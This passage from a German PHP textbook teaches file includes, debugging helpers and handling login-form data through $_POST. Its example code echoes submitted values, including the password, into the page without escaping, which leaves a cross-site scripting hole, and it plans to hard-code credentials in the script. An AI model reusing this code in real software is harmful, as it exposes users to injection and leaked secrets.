        Die einzubindenden Dateien dürfen natürlich nur PHP-Code beinhalten, wenn es sich um Dateien handelt, die keine weitere Ausgabe ins Dokument mit sich ziehen sollen. Möchten Sie jedoch einfach nur mithilfe von PHP weiteren HTML-Code einbinden, dann ist dies ebenso möglich.

        Typischerweise werden solche zu inkludierenden Dateien, die ausschließlich PHP-Code beinhalten, mit dateiname.inc.php und in einem Verzeichnis includes abgelegt. Bitte beachten Sie, dass dies keine Notwendigkeit, sondern vielmehr eine Konvention unter PHP-Entwicklern ist. Dennoch darf natürlich jeder Entwickler seine eigenen Wege gehen.

        Zu jedem der beiden Befehle existiert eine Abwandlung, die immer dann zum Einsatz kommt, wenn man Gefahr läuft, eine bereits eingebettete Datei erneut einzubetten. An dieser Stelle könnte nämlich der Fehler auftreten, dass eine Funktion, die man in der einzubettenden Datei deklariert hat, durch ein erneutes Einbetten erneut deklariert werden würde, was jedoch nicht erlaubt ist:

        
            	
                include_once("Pfad/zur/Datei")

            

            	
                require_once("Pfad/zur/Datei")

            

        

        Bedenken Sie beispielsweise folgenden Fall, der in Abbildung 11.13 noch grafisch illustriert wird: Die Datei c.php inkludiert a.php und b.php, aber a.php inkludiert ebenfalls b.php. Wenn c.php nun auf a.php zugreift, wird automatisch auch b.php eingebettet. Versucht danach c.php erneut, b.php einzubetten (die mittlerweile ja schon eingebettet ist), so könnte ein solcher Fehler auftreten.

        
            [image: Die Datei »b.php« wird sowohl von »a.php« als auch von »c.php« angefordert.]

            Abbildung 11.13    
            Die Datei »b.php« wird sowohl von »a.php« als auch von »c.php« angefordert.

        
    


                    
                        
        11.9    Debugging für PHP-Entwickler?

        Ein heikles Thema ... Die schnelle Antwort lautet: Das ist nicht oder nur sehr selten möglich – beispielsweise, wenn eine PHP-Extension namens Xdebug installiert ist, was jedoch bei den gängigen Hosting-Providern nicht der Fall ist. Der Grund liegt auf der Hand: PHP wird serverseitig ausgeführt, jedoch haben Sie als PHP-Entwickler*in in der Regel keinen direkten Zugriff auf den Server; zumindest nicht auf die Ressourcen, wo die Fehler abrufbar sind. Natürlich gäbe es Möglichkeiten (wie Logfiles, Fehlerstatistiken etc.) für eine Fehlersuche, aber ein »es gäbe« bringt uns nicht weiter. Wir müssen uns eine eigene Strategie zurechtlegen, um Fehler zu erkennen und ein gewisses Maß an Debugging zu ermöglichen.

        
            [Info]  Debugging

            Das Wort Debugging stammt eigentlich aus der Urzeit der Computerentwicklung, als noch mit Röhren anstatt von Transistoren oder Chips gearbeitet wurde und tatsächlich einmal ein Käfer (engl. bug) dafür verantwortlich war, dass ein Fehler aufgetreten war. Diesen Käfer zu entfernen (zu »debuggen«) gab den Anlass für die Wortschöpfung. Debuggen bedeutet also nichts anderes als »Fehler erkennen und entfernen«.

        

        Die Schwierigkeit an der Sache wird jedoch das Erkennen von Fehlern sein. Wie Sie bereits in Abschnitt 3.2.1 (Serverfehler) und Abschnitt 4.2 (Arten von Fehlern) gesehen haben, gibt es Fehler en masse. Für uns als Entwickler*innen sind folgende Fehler entscheidend:

        
            	
                Lexikalische Fehler: Das sind Schreibfehler, beispielsweise falsch geschriebene Befehle.
Derartige Fehler lassen sich in der Regel mit einem guten Editor und aktiviertem Code-Highlighting aufspüren. (Beim Code-Highlighting werden erkannte Befehle o. Ä. in einer definierten Farbe dargestellt.)

            

            	
                Syntaktische Fehler: Zu ihnen zählt die falsche Befehlsverschachtelung, beispielsweise falsch oder nicht geschlossene Klammern.

                Klammerfehler findet man ebenfalls relativ einfach mit guten Editoren, da in der Regel die zusammengehörigen Klammern markiert werden. Um solche Fehler zu vermeiden, hilft oft auch ein korrektes Einrücken im Code. Syntaktische Fehler führen oft zu einem Error 500 oder zu einem Parse Error (siehe Abschnitt 11.5). Tritt ein solcher Fehler auf, so unterstützt uns PHP nicht bei der Fehlersuche. Derartige Fehler müssen wir selber finden.

                Fehlende Strichpunkte äußern sich in den PHP-Fehlermeldungen in der Regel dadurch, dass PHP einen Parse Error in der folgenden Zeile ausgibt. Der Grund ist, dass der PHP-Interpreter so lange an einen Befehl glaubt, bis ein Zeichen auftritt, das er nicht mehr zuordnen kann. Beispielsweise interpretiert er den Code

                echo("Hallo") //beachten Sie das Fehlen des Strichpunktes
echo("Welt"); 


                als einen einzigen Befehl, und der ergibt keinen Sinn. Der Grund ist das Fehlen des Strichpunktes, der jedoch erst in der zweiten der beiden Zeilen fehlt, denn dort müsste der erste Befehl spätestens abgeschlossen werden.

            

            	
                Logische Fehler: Das sind Fehler, die zu Endlosschleifen oder Ähnlichem führen.
Hier haben wir den Salat, denn logischen Fehlern auf den Grund zu gehen, heißt, unsere eigene Logik zu überdenken. Derartige Fehler sind nicht einfach zu finden, denn oftmals resultieren sie in einem Error 500, der eben sehr wenig aussagekräftig ist.

            

        

        Wo genau die Gründe für das Auftreten von Fehlern liegen, lässt sich also nur von Fall zu Fall entscheiden. Hilfreich ist es gerade im Fall von logischen Fehlern, dass Sie über die Inhalte von Variablen/Arrays/Objekten etc. sowie über den Aufruf von Funktionen Bescheid wissen. Das bedeutet für Sie, dass Sie sich während der Entwicklung oftmals Inhalte von Variablen und Co. sowie Informationen zu Funktionsaufrufen auf dem Bildschirm ausgeben lassen müssen. Um dies zu tun, müssen Sie selbst tätig werden, wie Sie gleich sehen werden.

        Wie lautet aber nun unsere Strategie für die Fehlererkennung und -entfernung? Sehen wir uns die notwendigen Schritte an, die wir während der Entwicklungsphase (nicht in der Live-Phase, in der die Website bereits online ist) gehen werden:

        
            	
                Sämtliche Fehler müssen protokolliert werden: error_reporting(E_ALL)

            

            	
                Sämtliche Fehler müssen dann auch angezeigt werden: ini_set("display_errors",1)

            

            	
                Die Inhalte von Variablen und Co. sowie von Funktionsaufrufen müssen auf dem Bildschirm darstellbar gemacht werden.

            

        

        Spätestens an dieser Stelle müssen wir uns erneut daran erinnern, dass all das, was wir auf dem Bildschirm sehen, das ist, was der Client als Response vom Server erhalten hat. Ist der Fehler auf dem Server jedoch so schwerwiegend, dass der Server dem Client gar nicht antworten kann (außer mit einem Fehlerstatus 500), so können wir uns nichts auf dem Bildschirm ausgeben lassen. An dieser Stelle hilft es zumeist, den geschriebenen Code zunächst einmal vollständig auszukommentieren und dann Zeile für Zeile einzukommentieren, wie Sie am folgenden Beispiel sehen.

        Der dargestellte Code erzeugt einen Fehler, und wir müssen ihn finden. Dazu kommentieren wir zunächst einmal sämtlichen Code aus. Danach kommentieren wir Schritt für Schritt einzelne Code-Zeilen wieder ein und testen, ob der Code läuft:

        
            
                
                    	
                        Auskommentierter Code

                    
                    	
                        Versuch 1

                    
                

            
            
                
                    	
                        /*
$a = 23;
$b = $a*5==115;
if(!$b) {
  $b = !$b;
}
else {
  $sum = 12.5;
  for($i=$a; $i>5; $i++) {
    $sum+= $i;
  }
}
*/


                    
                    	
                        $a = 23;
/*
$b = $a*5==115;
if(!$b) {
  $b = !$b;
}
else {
  $sum = 12.5;
  for($i=$a; $i>5; $i++) {
    $sum+= $i;
  }
}
*/


                    
                

                
                    	
                        Versuch 2

                    
                    	
                        Versuch 3

                    
                

                
                    	
                        $a = 23;
$b = $a*5==115;
/*
if(!$b) {
  $b = !$b;
}
else {
  $sum = 12.5;
  for($i=$a; $i>5; $i++) {
    $sum+= $i;
  }
}
*/


                    
                    	
                        $a = 23;
$b = $a*5==115;
if(!$b) {
  //$b = !$b;
}
/*
else {
  $sum = 12.5;
  for($i=$a; $i>5; $i++) {
    $sum+= $i;
  }
}
*/ 


                    
                

            
        

        Tabelle 11.2    
            Iteratives Einkommentieren von Code, bis der Fehler gefunden ist

        Das geht so weiter, bis man schlussendlich auf das Problem stößt, dass der Fehler in der Zeile der for-Schleife auftritt, da die for-Schleife offensichtlich eine Endlosschleife ist.

        Der elegantere Weg, den aufgetretenen Fehler zu ermitteln, führt über das Fehler-Logging. Wie bereits erwähnt, steht uns der Zugriff auf die Logfiles jedoch nicht immer zur Verfügung (insbesondere dann, wenn wir nicht lokal, sondern auf einem Remote-Server arbeiten). Sollten Sie dennoch Zugriff haben, so würde ein Blick in die Logdatei Ihnen den Fehler zeigen (siehe Abbildung 11.14). Weshalb dieser Fehler aufgetreten ist, müssen Sie dennoch selbst herausfinden.

        
            [image: Die Datei »php_error_log« aus dem Verzeichnis »xampp/logs« gibt uns die Information, dass in Zeile 10 des Scripts ein Fehler aufgetreten ist. Weil hier steht, dass die »Maximum execution time« überschritten wurde, ist dies ein gutes Indiz dafür, dass wir es mit einer Endlosschleife zu tun haben.]

            Abbildung 11.14    
            Die Datei »php_error_log« aus dem Verzeichnis »xampp/logs« gibt uns die Information, dass in Zeile 10 des Scripts ein Fehler aufgetreten ist. Weil hier steht, dass die »Maximum execution time« überschritten wurde, ist dies ein gutes Indiz dafür, dass wir es mit einer Endlosschleife zu tun haben.

        
        
            11.9.1    Vorbereitungen treffen

            Beginnen wir mit unserem Projekt »Code testen und Fehler suchen«. Als Erstes schaffen wir uns eine schnelle Möglichkeit, zwischen einem »Testbetrieb« und einem »Live-Betrieb« unserer Seite umschalten zu können. (Verstehen Sie mich nicht falsch: Derartiges müssen wir natürlich ausprogrammieren, aber die Vorbereitungen dazu treffen wir jetzt einmal.)

            const TESTMODE = true;


            Abhängig vom Inhalt dieser Konstanten legen wir fest, ob Fehlermeldungen ausgegeben werden sollen oder nicht:

            if(TESTMODE) {
  error_reporting(E_ALL);
  ini_set("display_errors",1);
}
else {
  error_reporting(0);
  ini_set("display_errors",0);
}


            Durch Ändern des Inhalts der Konstanten TESTMODE auf true oder false werden Fehler also entweder ausgegeben und protokolliert oder nicht.

        
        
            11.9.2    Variableninhalte und Co. auf dem Bildschirm ausgeben

            Da der direkte Zugriff auf Variableninhalte während der serverseitigen Verarbeitung des Codes aus besagten Gründen nicht möglich ist, schreibt man sich gerne eine geeignete Funktion, die den Inhalt von Variablen und Co. (bei ihrem Aufruf) darstellt:

            function ta(mixed $in):void {
  if(TESTMODE) {
    echo('<pre class="ta">');
    print_r($in);
    echo('</pre>');
  }
}


            Listing 11.5    
            Eine einfache Funktion zum testweisen Darstellen von Informationen während der Entwicklung

            Die obige Funktion gibt – sofern der Testmodus aktiviert ist – den Inhalt der Variablen, des Arrays bzw. des Objekts $in innerhalb des HTML-Tags <pre> aus. Dieses Tag ermöglicht es, dass auch Zeilenumbrüche, Einrückungen etc. im Rahmen eines HTML-Codes ausgegeben werden. (Zur Erinnerung: Ein Browser würde Derartiges normalerweise nicht darstellen, da er maximal ein Whitespace darstellt.)

            Sollte der Testmodus deaktiviert sein, so geschieht bei einem Funktionsaufruf nichts. Diese Vorgehensweise hat den Vorteil, dass wir unsere Funktionsaufrufe im Code belassen können, ohne dass unsere Meldungen im Live-Betrieb dargestellt werden (und die User irritieren). Wenn Sie noch ein wenig CSS-Wissen hineinpacken, sieht eine solche Testausgabe auch gleich ganz ordentlich aus.

            Packen wir das alles einmal in ein paar Dateien hinein:

            includes/config.inc.php:

            const TESTMODE = true;


            includes/common.inc.php:

            function ta(mixed $in):void {
  if(TESTMODE) {
    echo('<pre class="ta">');
    print_r($in);
    echo('</pre>');
  }
}


            css/common.css:

            .ta {
  border:1px solid orange;
  border-left-width:5px;
  background-color:#ffc;
  padding:0.2em 1em;
  margin:0.5em 0px;
  font-size:0.9rem;
  font-family:"Courier New",monospace;
}


            Nun können wir unsere neu gewonnenen Dateien gleich einmal in einem Beispiel einsetzen:

            <?php
require("includes/config.inc.php");
require("includes/common.inc.php");
 
ta($_POST);
?>


            <!DOCTYPE html>
<html lang="de">
<head>
<meta charset="UTF-8">
<title>Debugging</title>
<link rel="stylesheet" href="css/common.css">
</head>
 
<body>
  <form method="post">
    <label>Ihre E-Mail-Adresse:
      <input type="email" name="E" required>
    </label>
    <label>Ihr Passwort:
      <input type="password" name="P" required>
    </label>
    <input type="submit" value="einloggen">
  </form>
</body>
</html>


            Listing 11.6    
            So könnte die Grundstruktur eines Projekts aussehen.

            Offenbar wurden unsere neu erschaffenen PHP-Dateien sowie die CSS-Datei eingebettet. Bei jedem Seitenaufruf werden nun – sofern der Testmodus aktiviert ist – die empfangenen POST-Daten ausgegeben. Rufen wir die Seite über den Browser auf, so erhalten wir ein (noch) leeres POST-Array, wie Abbildung 11.15 zeigt.

            Nach dem Ausfüllen und Abschicken des Formulars wird uns der Inhalt des POST-Arrays erneut dargestellt, nur diesmal ist der Inhalt des Arrays nicht mehr leer, wie Sie in Abbildung 11.16 sehen.

            
                [image: Das noch leere POST-Array wird – optisch auffällig – auf dem Bildschirm dargestellt.]

                Abbildung 11.15    
            Das noch leere POST-Array wird – optisch auffällig – auf dem Bildschirm dargestellt.

            
            
                [image: Das POST-Array ist nun nicht mehr leer.]

                Abbildung 11.16    
            Das POST-Array ist nun nicht mehr leer.

            
            Setzen wir den Testmodus (innerhalb der Datei config.inc.php) auf false, werden die Testausgaben nicht mehr angezeigt.

            Wie Sie sehen, handelt es sich hierbei um eine einfache, jedoch recht effiziente Art und Weise, den Inhalt von Arrays (oder eben auch Variablen oder Objekten) sichtbar zu machen. Je weiter Sie Ihre Reise in die PHP-Programmierung führt, umso eher werden Sie auf Befehle wie debug_backtrace und debug_print_backtrace stoßen. Mein Tipp: Schlagen Sie auf php.net mal nach, was diese Befehle tun. Für unsere weiteren Ausführungen sind sie nicht entscheidend wichtig – für Ihre Karriere als Profi-Entwickler*in nach einiger Zeit dann sehr wohl.

        
        
            11.9.3    Error-Logging

            Schlussendlich ist es PHP auch möglich, Informationen, Meldungen und Fehler zu loggen. Es muss nicht einmal ein Fehler auftreten, um in ein Logfile zu schreiben (oder eine andere der möglichen Varianten zu verwenden).

            Die Vorgehensweise ist denkbar einfach: Die Funktion error_log erwartet mindestens einen Parameter (Fehlermeldung) und kann über einen zweiten Parameter wie unten dargestellt gesteuert werden:

            
                	
                    error_log("Fehlermeldung") erzeugt einen Fehler in PHP, das den Fehler entweder an das Betriebssystem weitergibt oder in eine Datei schreibt.

                

                	
                    error_log("Fehlermeldung",1,"errorlogger@test.at") sendet die Fehlermeldung an die angegebene E-Mail-Adresse; bei Bedarf können Additional Headers (siehe auch Abschnitt 11.16) als vierter Parameter verwendet werden.

                

                	
                    error_log("Fehlermeldung",3,"Pfad/zum/Logfile.log") schreibt den Fehler in die Datei, die im Pfad angegeben ist.

                

            

        
    


                    
                        
        11.10    Der Anknüpfungspunkt an HTML – Formulare als wesentliches Kommunikationsmittel

        Im HTML-Kapitel hatte ich erwähnt, dass Formular die Grenze zwischen der Frontend- und der Backend-Entwicklung darstellen. Ganz allgemein gilt, dass Sie mit Formularen Informationen von der Client- auf die Serverseite übertragen können. Dadurch werden Informationen, die ein User eingibt, durch PHP verarbeitbar gemacht.

        Um dies im Detail zu verstehen, müssen Sie sich zunächst noch einmal mit den wesentlichen Eigenschaften von Formularen auseinandersetzen. Hauptsächlich betrifft dies die Art und Weise der Übertragung von Formularinhalten – sprich der Datenübertragungsmethoden.

        Im Wesentlichen existieren zwei Übertragungsmethoden, die für uns von Relevanz sind:

        
            	
                GET: Informationen werden in der Adresszeile (URL) übertragen, indem sie an die URL angehängt werden:

                http://localhost/a.php?Vorname=Uwe&Nachname=Mutz


            

            	
                POST: Informationen werden unsichtbar (nicht sicher! → Bitte unterscheiden Sie zwischen unsichtbar und sicher) an den HTTP-Header (das ist ein Teil des Protokolls selbst) angehängt (im Request Body):

                <form method="post|get">
...
</form> 


            

        

        Die wichtige Frage ist, wie man nun serverseitig auf die gesendeten Daten zugreifen kann. Die Antwort liefern uns die superglobalen assoziativen Arrays namens $_GET, $_POST, $_REQUEST. Hierzu ein Beispiel:

        <form method="post">
  <label>Ihre E-Mail-Adresse:
    <input type="email" name="E" required>
  </label>
  <label>Ihr Passwort:
    <input type="password" name="P" required>
  </label>
  <input type="submit" value="einloggen">
</form>


        Listing 11.7    
            Ein einfaches Login-Formular

        Zur Erinnerung: Es werden nur diejenigen Formularfeld-Inhalte an den Server übertragen, die ein name-Attribut besitzen. Genau diese Eingabefelder werden serverseitig zu assoziativen Einträgen in den einzelnen superglobalen Arrays von oben. Schickt man also Daten per POST ab, so landen die eingegeben Daten im Array $_POST; schickt man sie per GET ab, so landen sie im Array $_GET. Ist man an allen gesendeten Daten interessiert, so kann man auf das Array $_REQUEST zugreifen – in ihm stehen sowohl die per POST als auch die per GET gesendeten Daten.

        In unserem konkreten Beispiel heißt das:

        
            	
                Das $_GET-Array ist leer.

            

            	
                Das $_POST-Array sieht wie folgt aus:

            

        

        
            
                
                    	
                        E

                    
                    	
                        P

                    
                

            
            
                
                    	
                        "uwe.mutz@syne.at"

                    
                    	
                        "test123"

                    
                

            
        

        Abbildung 11.17 zeigt dieses Ergebnis, indem der Inhalt des Arrays $_POST (zum besseren Verständnis grafisch aufbereitet) auf dem Bildschirm ausgegeben wird.

        Das $_REQUEST-Array sieht in diesem Fall genauso wie das $_POST-Array aus.

        Der Zugriff auf die übertragenen Daten ist somit wie folgt:

        
            	
                Zugriff auf den Wert des Eingabefeldes mit dem Namen E: $_POST["E"]

            

            	
                Zugriff auf den Wert des Eingabefeldes mit dem Namen P: $_POST["P"]

            

        

        
            [image: Das POST-Array beinhaltet die eingegebenen Werte im Formular als assoziative Einträge.]

            Abbildung 11.17    
            Das POST-Array beinhaltet die eingegebenen Werte im Formular als assoziative Einträge.

        
        Um zu unterscheiden, ob ein Formular abgeschickt oder nicht abgeschickt wurde, können Sie die Anzahl der Einträge im jeweils betroffenen Array abzählen. Die Anzahl erhalten wir bekanntermaßen mit der count-Methode:

        
            	
                count($_POST): Liefert die Anzahl der per POST gesendeten Daten.

            

            	
                count($_GET): Liefert die Anzahl der per GET gesendeten Daten.

            

            	
                count($_REQUEST): Liefert die Anzahl der per POST und per GET gesendeten Daten.

            

        

        Auf genau diese Art und Weise ermitteln wir also, ob eine Webseite Formulardaten verarbeiten soll oder nicht: Beinhaltet das betroffene Array Daten, so werden diese verarbeitet; ist es leer, ist keine Verarbeitung notwendig.

        Sollten Sie sich die Frage stellen, warum wir überhaupt so vorgehen müssen, so bedenken Sie, dass ein und dasselbe Dokument auf der Serverseite auf mehrere Arten aufgerufen werden kann:

        
            	
                über einen direkten Aufruf der URL in der Adresszeile des Browsers bzw. durch einen Klick auf einen dorthin leitenden Link: Dies ist in unserem Beispiel der Fall, wenn wir das Dokument mit dem beinhalteten Formular im Browser öffnen.

            

            	
                nach dem Abschicken eines Formulars, das sich in genau diesem Dokument befindet: Dies ist in unserem Beispiel der Fall, wenn unser User das Formular abschickt.

            

            	
                nach dem Abschicken eines Formulars, das mithilfe des action-Attributs auf diese Seite verweist

            

        

        Wir können also nie sicher sein, ob beim Verarbeiten der Daten Formulardaten vorhanden sind oder nicht. Führen wir uns an dieser Stelle noch einmal ganz genau vor Augen, was beim Laden und danach beim Abschicken des Formulars passiert:

        
            	
                Der User ruft das Dokument über seinen Browser auf, indem er entweder in der Adresszeile die URL des Dokuments eingibt oder indem er auf einen Link klickt, der zu diesem Dokument führt.

            

            	
                Über eine DNS-Auflösung usw. führt dies nun dazu, dass der Client (Browser) den zugehörigen Webserver kontaktiert, also auf dem Server einen Request für dieses Dokument erzeugt.

            

            	
                Der Server reagiert auf diesen Request, indem er das gewünschte (PHP-)Dokument auf dem Server verarbeitet (bzw. es vom PHP-Modul verarbeiten lässt) und den (übrig bleibenden) HTML-Code (samt CSS- und JS-Code usw.) als Response an den Client zurücksendet. Der Response enthält also den HTML-Code, den wir in Abbildung 11.18 sehen.

                
                    [image: Die Webseite wurde über einen Request auf dem Server aufgerufen. Dieser verarbeitet den Request und sendet als Response den HTML-Code zurück, den Sie in dieser Abbildung sehen.]

                    Abbildung 11.18    
            Die Webseite wurde über einen Request auf dem Server aufgerufen. Dieser verarbeitet den Request und sendet als Response den HTML-Code zurück, den Sie in dieser Abbildung sehen.

                
                Sollte ich Sie an dieser Stelle fragen, wie das POST-Array aussieht, so wären Sie wohl ein wenig verdutzt und würden antworten: »Welches POST-Array? Der User hat das Formular ja noch gar nicht abgeschickt!« Dennoch existiert auf der Serverseite auch bereits bei diesem (ersten) Aufruf das POST-Array: Es ist allerdings leer, hat also keine Einträge. Selbiges gilt für das GET- und das REQUEST-Array.

            

            	
                Nun füllt der User das Formular aus (siehe Abbildung 11.19) und ist im Begriff, es abzuschicken.

                Das Befüllen des Formulars erfolgt natürlich auf der Clientseite. Ich erwähne es nur deshalb, damit wir uns alle darüber im Klaren sind.

                
                    [image: Unser Formular kurz vor dem Abschicken: befüllt und bereit]

                    Abbildung 11.19    
            Unser Formular kurz vor dem Abschicken: befüllt und bereit

                
            

            	
                Mit dem Abschicken des Formulars erfolgt ein erneuter Request: Wohin? Sofern wir im Formular kein action-Attribut mit einer anderen URL angegeben haben, erfolgt der Request auf dasselbe Dokument, das gerade im Browserfenster angezeigt wird. Wir sagen gemeinhin, dass wir »Formulardaten an das Dokument« senden. In Wahrheit geschieht derselbe Request wie in Punkt 1, nur dass nun zusätzlich auch die vom User eingegebenen Daten an den Server gesendet werden.

            

            	
                Für den Server ist der Request, den er nun erhält, vollkommen identisch mit dem in Punkt 1. Für unseren PHP-Code muss es jedoch einen Unterschied geben, da wir nun ja nicht mehr einfach nur ein Dokument laden lassen, sondern die vom User gesendeten Daten verarbeiten müssen.

                An dieser Stelle sind wir in einer Zwickmühle: Offensichtlich muss unsere Programmierung in der Lage sein, zu erkennen, ob ein und derselbe Request einmal ein Dokument »nur laden« soll oder ob ein andermal Formulardaten zu verarbeiten sind. Die Antwort darauf liefert uns der Inhalt des POST- oder GET-Arrays: Versenden wir das Formular mittels method="post", so müssen wir das POST-Array begutachten und nachsehen, ob es (auf irgendeine zauberhafte Weise) befüllt wurde; für method="get" verfahren wir sinngemäß mit dem GET-Array. Sobald also Formulardaten von der Client- auf die Serverseite übergeben werden, wird das jeweils betroffene Array befüllt.

            

            	
                Nun erfolgt wieder genau dasselbe wie in Punkt 3: Der Server verarbeitet das angeforderte Dokument. Den großen Unterschied macht nun unsere Programmierung aus: Weil wir abgefragt haben, ob das POST-Array mehr als 0 Einträge besitzt (if(count($_POST)>0) { ... }), können wir auf die Eingabe des Users reagieren und entsprechend handeln. Ist dann alles abgearbeitet, antwortet der Server wieder mit einem Response an den Client. Dieser Response beinhaltet wiederum ausschließlich solchen Code, den der Empfänger (Client = Browser) auch verarbeiten kann.

                
                    [image: Das Formular wurde abgeschickt, weshalb sich im (grafisch aufbereitet dargestellten) POST-Array Einträge befinden.]

                    Abbildung 11.20    
            Das Formular wurde abgeschickt, weshalb sich im (grafisch aufbereitet dargestellten) POST-Array Einträge befinden.

                
            

        

        Die Formulardaten wurden nun also vom PHP-Modul auf dem Server verarbeitet. Was wir mit den Formulardaten anstellen, hängt natürlich von der Aufgabenstellung ab: Es könnte ein Login- oder Registrierungsformular genauso wie ein Kontakt- oder Bestellformular sein.

        
            [»]  Sichtbarkeit von POST- und GET-Daten

            Die POST- oder GET-Daten werden normalerweise natürlich nicht sichtbar sein (schon gar nicht auf dem Client, wo ja alles schon wieder vorbei ist). Auch können wir (ohne entsprechende Zugriffsrechte) auf dem Server nicht nachsehen, was denn der Inhalt der POST- oder GET-Daten ist. Deshalb verhelfen sich Entwickler*innen oftmals selbst zum eigenen Glück, indem sie kleine Hilfsfunktionen schreiben, über die sie die Formulardaten (oder beliebige andere Variablen- oder Array-Inhalte) sichtbar machen. Auch wir werden uns eine kleine Funktion schreiben, die das für uns erledigt.

        

        Beachten Sie bitte Folgendes: Das HTML-Formular bestimmt, welche Einträge ein POST- oder ein GET-Array haben kann, weil im HTML-Formular benannte Formularfelder vorhanden sein müssen. Füllt der User diese Felder nicht aus und er sendet das Formular ab, so sind diese Einträge trotzdem im POST- oder GET-Array zu finden – es steht nur eben nichts drin, wie Abbildung 11.21 zeigt.

        
            [image: Ein Formular kann auch leer abgeschickt werden. Dadurch entstehen im betroffenen Array (hier: POST) dennoch Einträge (E und P), die allerdings keine Werte besitzen; vorhanden sind sie aber.]

            Abbildung 11.21    
            Ein Formular kann auch leer abgeschickt werden. Dadurch entstehen im betroffenen Array (hier: POST) dennoch Einträge (E und P), die allerdings keine Werte besitzen; vorhanden sind sie aber.

        
        Erweitern wir das Beispiel ein wenig, und lassen wir uns den Inhalt der beiden Formularfelder ausgeben. Der zugehörige PHP-Code wäre dann etwa wie folgt:

        <?php
if(count($_POST)>0) {
  //es wurden Daten per POST übertragen
  echo('
    <p>Der eingegebene Wert von E ist: ' . $_POST["E"] . '</p>
    <p>Der eingegebene Wert von P ist: ' . $_POST["P"] . '</p>
  ');
}
?>


        Insgesamt wird unser Code nun also wie folgt aussehen:

        <?php
if(count($_POST)>0) {
  //es wurden Daten per POST übertragen
  echo('
    <p>Der eingegebene Wert von E ist: ' . $_POST["E"] . '</p>
    <p>Der eingegebene Wert von P ist: ' . $_POST["P"] . '</p>
  ');
}
?>


        <!DOCTYPE html>
<html lang="de">
<head>
<meta charset="UTF-8">
<title>Formulare</title>
<link rel="stylesheet" href="../../includes/css/common.css">
</head>
<body>
  <form method="post">
    <label>  Ihre E-Mail-Adresse:
      <input type="email" name="E" required>
    </label>
    <label>  Ihr Passwort:
      <input type="password" name="P" required>
    </label>
    <input type="submit" value="einloggen">
  </form>
</body>
</html>


        Listing 11.8    
            Eine erste Anwendung eines Formulars, das POST-Daten auf die Serverseite übermittelt

        Über folgende Punkte sollten wir uns noch unterhalten:

        
            	
                Warum steht der PHP-Code ganz oben im Dokument?

            

            	
                Ist der HTML-Code, den wir mit unserer Programmierung erzeugen, auch korrekt?

            

        

        Punkt 1 ist rasch erledigt: An sich könnte der PHP-Code an jeder Stelle im Dokument stehen, da er ja noch auf der Serverseite verarbeitet wird: Auf der Serverseite ist nur der PHP-Code interessant, auf der Clientseite nur der HTML-Code (samt CSS, JS und Co. – Sie wissen schon).

        Punkt 2 ist an sich auch rasch erledigt, bedarf jedoch etwas an Erklärung. Kurzum: Nein, der HTML-Code ist nicht in Ordnung. Was? Okay, schauen wir mal in den Quelltext (Rechtsklick ins HTML-Dokument im Browser und dann Seitenquelltext anzeigen o. Ä., damit eine Anzeige wie in Abbildung 11.22 erscheint).

        Sehen Sie das Problem? Die beiden Absätze (<p>) stehen oberhalb der Dokumenttypdeklaration und nicht im Body. Der Grund ist einfach: Der echo-Befehl gibt den entsprechenden Inhalt genau an der Stelle im Dokument aus (konkret: in den Ausgabestrom des Webservers), wo er sich befindet. Weil wir aber den PHP-Code oberhalb der Dokumenttypdeklaration stehen haben und sich dort auch der echo-Befehl befindet, muss das Ergebnis ja auch dort ausgegeben werden. Eine klassische Zwickmühle!

        
            [image: Der von uns erzeugte HTML-Code ist nicht korrekt. Na super!]

            Abbildung 11.22    
            Der von uns erzeugte HTML-Code ist nicht korrekt. Na super!

        
        Wir behelfen uns damit, indem wir das, was wir mit echo ausgeben wollen, zunächst einmal in einer Variable »zusammensammeln« (in meinem Fall nenne ich die Variable $msg) und den echo-Befehl dann dort ausführen, wo der Inhalt auch tatsächlich ausgegeben werden soll. Warum wir nicht einfach den PHP-Code dorthin verschieben, wo wir die Ausgabe haben wollen (was eine alternative Vorgehensweise wäre), ist auch rasch erklärt: Das könnte man machen, aber dann ist unser gesamter Code nicht mehr so übersichtlich. Und Sie werden Übersichtlichkeit noch lieben lernen – glauben Sie mir!

        <?php
$msg = "";
 
if(count($_POST)>0) {
  //es wurden Daten per POST übertragen
  $msg = '
    <p>Der eingegebene Wert von E ist: ' . $_POST["E"] . '</p>
    <p>Der eingegebene Wert von P ist: ' . $_POST["P"] . '</p>
  ';
}
?>


        <!DOCTYPE html>
<html lang="de">
<head>
<title>Login</title>
<meta charset="utf-8">
</head>
<body>


          <?php echo($msg); //Ausgabe des Inhalts von $msg in den HTML-Code ?>


          <form method="post">
    <label>  Ihre E-Mail-Adresse:
      <input type="email" name="E" required>
    </label>
    <label>  Ihr Passwort:
      <input type="password" name="P" required>
    </label>
    <input type="submit" value="einloggen">
  </form>
</body>
</html>


        Listing 11.9    
            Die verbesserte Version des Login-Formulars: Anstatt einer sofortigen Ausgabe mit »echo« wird der auszugebende Code zunächst in der Variablen »$msg« abgelegt, um ihn später gesammelt auszugeben.

        Bis dato erledigt unser Code nicht viel mehr, als dass auf die eingegebenen Daten des Users reagiert wird und diese wiederum ausgegeben werden. Denken wir das Beispiel aber ein Stück weiter, und machen wir ein »echtes« Login-Formular daraus. Das heißt also, wir müssen die eingegebenen Daten des Users mit den »korrekten« Login-Daten vergleichen. Dazu müssen wir irgendwo festlegen, was die korrekten Daten denn sind. Üblicherweise stehen uns dazu mehrere Möglichkeiten zur Verfügung:

        
            	
                Wir schreiben die korrekten Daten einfach in das Dokument hinein, wie Sie im folgenden Code sehen werden.

                An dieser Stelle könnte es sein, dass sich ein gewisses Unwohlsein in Ihrem Magen breit macht. Zugangsdaten direkt in den Code schreiben? Ja, aber … Was aber? Bedenken Sie an dieser Stelle, dass der PHP-Code zu keiner Zeit im Quelltext steht, den der User zu Gesicht bekommt, denn sämtlicher PHP-Code wird noch auf der Serverseite verarbeitet. Dennoch werden wir diese Herangehensweise nur so lange in Betracht ziehen, solange wir’s noch nicht besser wissen.

            

            	
                Die korrekten Zugangsdaten werden in einem separaten Dokument abgelegt, das üblicherweise zugriffsgeschützt wird.

                Ja, schön und gut. Aber hierfür fehlt Ihnen aktuell noch das nötige Wissen.

            

            	
                Die korrekten Zugangsdaten stehen in einer separaten Datenbank, die extra abgefragt werden muss.

                Dieselbe Antwort wie zuvor: Hierzu fehlt Ihnen noch das nötige Wissen.

            

        

